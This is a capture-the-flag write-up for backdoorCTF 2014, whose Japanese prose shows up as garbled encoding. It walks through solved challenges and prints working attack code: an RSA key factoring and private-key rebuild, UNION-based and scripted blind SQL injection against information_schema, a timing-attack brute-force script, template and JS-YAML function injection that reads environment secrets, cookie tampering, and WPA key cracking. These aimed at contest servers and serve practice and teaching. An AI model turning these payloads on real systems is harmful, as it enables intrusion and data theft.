backdoorCTF 2014 Write-up
backdoorCTFã«ãã¼ã superflipã¨ãã¦åå ããã2630ç¹21ä½ããµã¯ãµã¯è§£ãã¦é¢ç½ãã£ãããã©ã°ã¯è¦ã¤ãããã©ã°ã®MD5ããã·ã¥ãæ稿ãããã®ãå¤ãã£ãã®ã§ãä¸å¿çãã«ãMD5ããã·ã¥ãä»ãã¦ãããæå®ãããåé¡ä»¥å¤ã«ãCSSã¨ãã«é ããã©ã°ããã£ããããã
Crypto 10
ç»åãã¡ã¤ã«ãåé¡ãæ«å°¾ã«zipãã¡ã¤ã«ãä»ãã¦ããã解åããã¨ç»åãåºã¦ããããã®ç»åãæ«å°¾ã«zipãã¡ã¤ã«ãä»ãã¦ããã
6307834008eb8edbe18c7a20ee4a909d
Crypto 100
å ¬ééµã¨æå·åãããã¡ã¤ã«ã渡ããã¦å¾©å·ããåé¡ã220bitã®RSAãªã®ã§æ£æ»æ³ã§è§£ããã
>openssl rsa -pubin -text < id.pub Public-Key: (220 bit) Modulus: 0c:09:e7:ec:78:f2:f8:ad:a9:95:34:48:22:64:77: 28:1b:09:9d:18:35:70:2b:4d:e5:07:5d:6b Exponent: 65537 (0x10001)
ã§ãnã¨eãåãåºããmsieveã§nãç´ å æ°å解ã
>msieve 0x0c09e7ec78f2f8ada9953448226477281b099d1835702b4de5075d6b sieving in progress (press Ctrl-C to pause) 7296 relations (3342 full + 3954 combined from 37569 partial), need 7248 sieving complete, commencing postprocessing >tail msieve.log Sun Mar 23 18:24:31 2014 filtering completed in 3 passes Sun Mar 23 18:24:31 2014 matrix is 6583 x 6647 (0.8 MB) with weight 180566 (27. 17/col) Sun Mar 23 18:24:31 2014 sparse part has weight 180566 (27.17/col) Sun Mar 23 18:24:31 2014 commencing Lanczos iteration Sun Mar 23 18:24:31 2014 memory use: 0.8 MB Sun Mar 23 18:24:31 2014 lanczos halted after 106 iterations (dim = 6580) Sun Mar 23 18:24:31 2014 recovered 63 nontrivial dependencies Sun Mar 23 18:24:31 2014 prp34 factor: 1090660992520643446103273789680343 Sun Mar 23 18:24:31 2014 prp34 factor: 1162435056374824133712043309728653 Sun Mar 23 18:24:31 2014 elapsed time 00:00:41
n = p*q = 1090660992520643446103273789680343*1162435056374824133712043309728653
ãã®pã¨qããç§å¯éµãä½ããopensslã§ä½ãããããããªããã©ãæ¹æ³ãåãããªãã®ã§èªä½ã¹ã¯ãªããã
import sys p = 1090660992520643446103273789680343 q = 1162435056374824133712043309728653 e = 65537 n = p*q def exgcd(x,y): r0,r1 = x,y a0,a1 = 1,0 b0,b1 = 0,1 while r1>0: q1 = r0/r1 r2 = r0%r1 a2 = a0-q1*a1 b2 = b0-q1*b1 r0,r1 = r1,r2 a0,a1 = a1,a2 b0,b1 = b1,b2 return a0,b0,r0 d = exgcd(e,(p-1)*(q-1))[0] + (p-1)*(q-1) exp1 = d % (p-1) exp2 = d % (q-1) coef = pow(q,p-2,p) def int2bin(d): t = "%x"%d return (t if len(t)%2==0 else "0"+t).decode("hex") def enclen(l): if l<0x80: return chr(l) else: t = int2bin(l) return chr(0x80+len(t))+t def encint(n): t = int2bin(n) return "\x02"+enclen(len(t))+t t = "".join(map(encint,[0,n,e,d,p,q,exp1,exp2,coef])) t = "\x30"+enclen(len(t))+t print "-----BEGIN RSA PRIVATE KEY-----" print t.encode("base64")[:-1] print "-----END RSA PRIVATE KEY-----"
ç§å¯éµã
-----BEGIN RSA PRIVATE KEY----- MIGUAgEAAhwMCefsePL4ramVNEgiZHcoGwmdGDVwK03lB11rAgMBAAECHBEAKDHMN6qwa6wVkcxn IPJ/M2rTKZczAqRVdykCDjXGE7vhg+gGdPSEi2rXAg45T/49/Di1EaB7E0sDjQIODIBULiWriNGX dxEpaFkCDianNKlJelVkVf+ru2PhAg4BH+uiLIU435fC/R1BUA== -----END RSA PRIVATE KEY-----
復å·ã
>openssl rsautl -decrypt -inkey id.key < ciphertext.txt Loading 'screen' into random state - done random_prime_gen
random_prime_gen 184cae04d3535156e2b0847cfe1eb441
Crypto 200-1
åé¡æã«16é²æ°ã®æååãæ¸ããã¦ããã
1f8b08089c452c530003737465703900edd85b6ec3300c44d1ffae86dcffe61ac7e1437403e42b1a1717â¦â¦
âgzipã§è§£å
010011000101010101100100010000100101010100110001011011000100001001010010010001100101â¦â¦
â8æåãã¨ã«åºåã£ã¦å¤æ
LUdBU1lBRFQqJi0yNS1HQVNZQURUKiYtMzMtR0FTWUFEVComLTM3LUdBU1lBRFQqJi0yNS1HQVNZQURUKiYtâ¦â¦
âBase64ã§å¾©å·
-GASYADT*&-25-GASYADT*&-33-GASYADT*&-37-GASYADT*&-25-GASYADT*&-33-GASYADT*&-35-GASYAâ¦â¦
âè¯ãåãããªããã©ã25, 33, 37, â¦ã16é²æ°ã ã¨æã£ã¦å¾©å·
%37%35%36%37%36%37%36%33%33%61%32%66%32%66%36%33%36%65%36%36%36%37%37%32%32%65%36%38â¦â¦
âãã¼ã»ã³ãã¨ã³ã³ã¼ãã£ã³ã°ã ã¨æã£ã¦å¾©å·
756767633a2f2f636e6667722e686f686167682e70627a2f373133303535342f0a
â16é²æ°
uggc://cnfgr.hohagh.pbz/7130554/
âROT13
http://paste.ubuntu.com/7130554/
ãµã¤ãã«ãã©ã°ãæ¸ãã¦ããã
5d3144233c46404dba4afc766601b997
Crypto 200-2
解ããªãã£ãããã¼ãã¼é³ãé³´ã£ã¦ããwavãã¡ã¤ã«ãé³ç¨ãªãå¨æ³¢æ°ãªããå¤æããã®ã ããï¼
Web 10
åé¡æã®ãã¼ã¸ã®HTTPãããã«çããããã
Backdoor-CTF:28b3324be8b003ee7e1d0d153fad3c32 Connection:Keep-Alive Content-Encoding:gzip Content-Length:1119 Content-Type:text/html Date:Sun, 23 Mar 2014 09:37:23 GMT Keep-Alive:timeout=5, max=100 Server:Apache/2.2.22 (Ubuntu) Vary:Accept-Encoding X-Powered-By:PHP/5.3.10-1ubuntu3.10
28b3324be8b003ee7e1d0d153fad3c32
Web 30
æå®ããããµã¤ãã«è¡ãã¨ãauth=falseã¨ããCookieãè¨å®ãããã®ã§ãauth=trueã«å¤ãã¦ã¢ã¯ã»ã¹ã
aeba37a3aaffc93567a61d9a67466fdf
Web 50
解ããªãã£ãã他の人の解答ãè¦ãã¨ãsqlmapã§ãã©ã¤ã³ãSQLã¤ã³ã¸ã§ã¯ã·ã§ã³ã¨æ¸ãã¦ãããã³ã¡ã³ãã¯/* */ãã使ããªãããUNION SELECT ããåããªãã£ããã50ç¹ã«ãã¦ã¯é£ããããä»ã«è§£æ³ãããããã ãã©â¦â¦ããã¼ã«ã使ããããç°¡åã¨ããäºã ãããã
追è¨
Hint: H4x0r loves using paranthesis in his SQL queries
ã¨ãããã³ãããã£ãã
xxx') UNION SELECT 0,table_name,0 FROM information_schema.tables # xxx') UNION SELECT 0,column_name,0 FROM information_schema.columns WHERE table_name='the_flag_is_over_here' # xxx') UNION SELECT 0,twisted_column_name,0 FROM the_flag_is_over_here #
ãæ¤ç´¢ããã°è¯ãã#ã¨--ããã¡ã§/* */ãOKã¨ããæç¹ã§DBã¨ã³ã¸ã³ãä½ãããåãããªãã£ããã©ãæ¬å¼§ããè¦ãã¦ãããâ¦â¦ã
d5abaf391f7bc7e7cda8c128e5ca3187
Web 100-1
ç»åã®URLãéãã¨ç¹æ°ãè¿ã£ã¦ããã¦ã§ããµã¼ãã¹ããµã¼ãã¼ãåããã¦ããã®ãµã¼ãã¼ã®URLãæå®ããã¨ã
$ nc -l 7777 GET / HTTP/1.1 Host: sanya.sweetduet.info:8543 Accept: */* X-Referrer: 92702a9381515494689f5d14f85a83b7.php
è¬ã®ããããä»ãã¦ããã92702a9381515494689f5d14f85a83b7.phpãéãã¨ã³ã¡ã³ãã«ãã©ã°ãæ¸ãã¦ããã
f556b9a48a3ee914f291f9b98645cb02
Web 100-2
Underscore.jsã§ãã¼ã¸ãçæããã¦ã§ããµã¼ãã¹ãソースããã¼ã¿ã ãã§ã¯ãªãããã³ãã¬ã¼ããæå®ã§ããã®ã§ã
<%=process.env.FLAG%>
ãéãã¨ç°å¢å¤æ°ãèªããã
16367694ede9faef0efec36845e18ceb
Web 200
æ稿ãããã¼ãæ£ãããã©ãããå¤å®ããã¦ã§ããµã¼ãã¹ããã«ã¼ããã©ã¼ã¹ãé²ãããã«ã
for($i=0;$i<strlen($key);$i++) { if($key[$i]!=$actual_key[$i]) die("Wrong key"); usleep(200000); }
ã¨ã0.2ç§ã®ã¹ãªã¼ããå ¥ã£ã¦ãããã¿ã¤ãã³ã°ã¢ã¿ãã¯ã1åã ãã ã¨èª¤å·®ãããã®ã§ã1種é¡ã®æåã«ä»ã10åã¢ã¯ã»ã¹ãã¦ãããã§ãå¹³åã ã¨ã¶ããã®ã§ãä¸å¤®å¤ãåã£ãã
import time import urllib url = "http://backdoor.cognizance.org.in/problems/web200/submit.php?key=" cand = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" for c in cand: S = [] for i in range(10): s = time.clock() d = urllib.urlopen(url+c+"aaaa").read() S += [time.clock()-s] S.sort() print c, (S[4]+S[5])/2 # print c, urllib.urlopen(url+"Z9A9"+c).read()
1æåãã¨ã«urlopenã®ã¨ãããä¿®æ£ããã
X 0.15236482422 Y 0.159946188537 Z 0.363095763259 a 0.152403469308 b 0.144447502835 7 0.344034437878 8 0.344380967658 9 0.553629539431 A 0.344418701306 B 0.36404748971
ãããªæãã®æéã
ee7528e19f87ba00b4b4c721b646a8a2
Web 250-1
æå®ããYAMLã®ãã¼ã¿ãæå®ããMarkdownã®ä¸ã«åãè¾¼ãã§è¡¨ç¤ºããã¦ã§ããµã¼ãã¹ãソースãJS-YAMLã¯YAMLä¸ã«JavaScriptã®é¢æ°ãåãè¾¼ããããããæã((((((ï¼ï¾Ðï¾))))))
--- f: !!js/function > function f() { return process.env.FLAG } --- {{f}}
ãéãã¨ãã©ã°ã表示ãããã
fb1f85e4f37eb3bf31141cb1dcce1caf
Web 300
ãã©ã¤ã³ãSQLã¤ã³ã¸ã§ã¯ã·ã§ã³ãcheck.phpã«ã¢ã¯ã»ã¹ããåã«ãstatus.phpã«ã¢ã¯ã»ã¹ããªãã¨å¼¾ãããã
# sql = "SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema!='mysql' AND table_schema!='information_schema'" # sql = "SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='the_elusive_flag'" sql = "SELECT group_concat(this_column_has_the_flag) FROM the_elusive_flag" import urllib, urllib2, cookielib o = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar())) r = "" for i in range(1,100): c = 0 b = 0x80 while b>0: d = o.open("http://backdoor.cognizance.org.in/problems/web300/status.php").read() s = "kusano' AND ascii(substring((%s), %s, 1)) < %s#" % (sql,i,c+b) d = o.open("http://backdoor.cognizance.org.in/problems/web300/check.php", urllib.urlencode({"username": s})).read() if "Please" in d: c += b b /= 2 r += chr(c) print r
sqlãããããã®æååã«ããã¨ãã®çµæã¯ã
the_elusive_flag,users this_column_has_the_flag 9d4dcc5981b17bf37740c7dbabe3b294
9d4dcc5981b17bf37740c7dbabe3b294
Binary 10
ãã¤ããªä¸ã«çããè¦ããã
$ ./bin10 Enter the password: a_few_basic_skills_will_do The flag for this level is 40511702a6193f9b38d37699e676fd40
40511702a6193f9b38d37699e676fd40
Binary 100
å¦çã追ãã®ãé¢åã ãªã¨æã£ãããæ¡ä»¶åå²ãæ½°ãã ãã ã£ãã0x000011F8ã®ã0x74ã0x75ã«æ¸ãæãã¦ãJEãJNEã«ããã
$ ./bin100_2 aaa Congrats! The flag for this level is : 94958e1c10707728ef965fe850eb98a1
94958e1c10707728ef965fe850eb98a1
Binary 200
ã´ãã£ã´ãã£ããcppãã¡ã¤ã«ã渡ãããã
vgg f = 0x7265616c6c795f69;
ã
vgg f = 0x7265616c6c795f69LL;
ã«ãã¦ã-trigraphãªãã·ã§ã³ãä»ãããã³ã³ãã¤ã«ã§ããã
if(ll01<(ll01&-0x1))??<ff();ggg();%>
ã
ff();ggg();
ã«ããã¨ãã©ã°ã表示ãããã
>gcc -trigraphs obfuscated2.cpp >a.exe 8243101811275816809 just_another_FLaG
ã¡ãªã¿ã«ã??<ã¯ã{ã«ãªããトライグラフãæã®Cã§ä½¿ããã%>ã¯}ã«ãªãããã¤ã°ã©ããæè¿ã®Cã§ä½¿ããã
just_another_FLaG a38834db6eb9d31e3c7e878bae3da748
Misc 10
pcapãã¡ã¤ã«ã渡ãããã解ããªãã£ãã
追è¨
Beginners CTF blog: Backdoor CTF 2014 Miscellaneous-10
pcapä¸ã§ã¢ã¯ã»ã¹ãã¦ããURLã«QRã³ã¼ããç½®ãã¦ãã£ãã
efb8f4cd67963a5652ee0aa2187b830a
Misc 150
ext2ã¤ã¡ã¼ã¸ãã¡ã¤ã«ã解ããªãã£ãã
Windowsã§ãAutopsyã§éããã
/Music/mystery.wavã«ã¢ã¼ã«ã¹ä¿¡å·ãå
¥ã£ã¦ãã¦ã復å·ããã¨ã
THIS IS NOT THE FLAG YOU HAVE WASTED YOUR TIME DECRYPTING THIS
/$OrphanFiles/OrphanFile-1737 ã
""" Looks like something missing here! """ def decrypt(key,cipher): decipher = '' for i in range(len(cipher)): decipher+=chr(ord(cipher[i])+int(key[i])) return decipher key = 'CDEFGHIJSTUVWXYZcdefghijstuvwxyzCDEFGHIJSTUVWXYZcdefghijstuvwxyz' cipher = 'K]] qgm af l`] f]pl Af;L>! 9dd l`] n]jq Z]kl ^gj Ydd l`] [`Ydd]f_]k! 9f\ qgmj ^dY_: d]]l_)++/_d]]l' flag = decrypt(key,cipher) print flag
ã§ããã®ããã°ã©ã ã¯åããªããã©ãcipherã®åæåã«8ã足ãã¨ã
See(you(in(the(next(InCTF)(All(the(very(best(for(all(the(challenges)(And(your(flagB(leetg1337gleet
ã©ã¡ããããºã¬ã
historyãè¦ãã¨ãããã³ãã«ä»æ°ãä»ããã/.bash_historyä¸ã®http://paste.ubuntu.com/7130279/ããªãã
934360b5b4901b727471b39455949a47
Misc 200
å¤ãCPUã®ã¢ã»ã³ãã©ã¨å®è¡åã®ã¡ã¢ãªã®æ°å¤ã渡ããããここãè¦ãªãã解èªã
gun_kills_cadet_in_war f57f4973ce9eb1c07c71ad3be3752c79
Misc 250-1
Wi-Fiããã£ããã£ãããã¡ã¤ã«ã渡ããã¦ãWPAãã¼ã®è§£æããã ã16é²æ°ã§æ«å°¾ã¯007ã
0007 1007 2007 3007 4007 5007 6007 7007 8007 9007 a007 b007 c007 d007 e007 f007 10007 11007 12007 ãï¼
ã¨ããè¾æ¸ãã¡ã¤ã«ãä½ã£ã¦ãAircrack-ngã使ããWindowsç¨ã®GUIãããã®ã§ç°¡åã
Aircrack-ng 1.2 beta2 [00:04:52] 891736 keys tested (3137.32 k/s) KEY FOUND! [ e9b6f007 ] Master Key : 57 F7 3C 8F 86 A1 0C C7 CD 82 F7 34 DB 8F 44 35 5F 3E 46 98 F1 C1 C7 C5 BF 45 A8 08 E2 67 1E 67 Transient Key : 57 5D 68 40 3A D9 81 52 C1 6E E3 20 66 0C 2F EC C6 32 D4 03 04 20 71 07 14 DD 8A 77 32 BF DA EC E1 F7 0A 2C 8F 5B C0 C5 13 44 BE 7B 67 29 56 74 FE 83 C7 8C 2A D3 A9 7E AD 0F C3 5B 07 75 3E A9 EAPOL HMAC : FA 08 DE B7 DA FE E3 6E 9C B2 0C 28 B3 5A 7B 36
e9b6f007 c578ddd79dc30186ba22714e6afe5f18
Misc 250-2
BMPãã¡ã¤ã«ã§ãã°ã¤ã³ããã¦ã§ããµã¼ãã¹ã«æå®ã®ã¦ã¼ã¶ã¼ã§ãã°ã¤ã³ããã¨ããåé¡ãç»åã®å·¦ä¸ã«RGB=(1,1,1)ã§ãã°ã¤ã³åãæ¸ããã¦ããã
practice_makes_one_perfect c16a3c8504985a8c91956c29f7338184
Misc 300
æå®ããããµã¼ãã¼ã«ã¢ã¯ã»ã¹ããã¨
BackdoorCTF 2014 We dare you to send us a prime between 571746583247771 and 1002618112288883 (exclusive) Enter your Prime:
ã¨è¡¨ç¤ºããããããã¯å座ãã¨æã£ãããããã«çããã ãã ã£ããã©ã³ãã ã«æ´æ°ãçæãã¦ããã©ã¼-ã©ãã³æ³ã§ç´ æ°å¤å®ã
# coding: utf-8 import random import socket import time # ãã©ã¼-ã©ãã³ç´ æ°å¤å®æ³ def prime(n,k=32): if n==2: return True if n==1 or (n&1)==0: return False d = n-1 while d&1 == 0: d >>= 1 for _ in range(k): a = random.randint(1,n-1) t = d y = pow(a,t,n) while t!=n-1 and y!=1 and y!=n-1: y = y*y%n t <<= 1 if y!=n-1 and (t&1)==0: return False return True s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("128.199.215.224", 8080)) time.sleep(1) t = s.recv(10000) print t a = int(t.split("\n")[3]) b = int(t.split("\n")[5]) while True: c = random.randint(a,b) if prime(c): break print "c",c s.send(str(c)) time.sleep(1) print s.recv(10000)
understanding_things_is_the_key 7dbed87411062a582fdd25f544902685
Misc 100
解ããªãã£ããæå®ãããã¦ã¼ã¶ã¼ã«æå®ãããGitHubãªãã¸ããªã«ã³ããããããã¨ããåé¡ãOrganizationã«å ãã¦ãããã®ã§åã«pushããã ãã ã¨æã£ããã©ããã¡ã ã£ãã
git commit --author
ã§ååãå¤ããã°è¯ãã£ããããã
Trivia 10-2
Who is Megaracer?
kimdotcom 148e6711a03f43a1955bcff667d967cc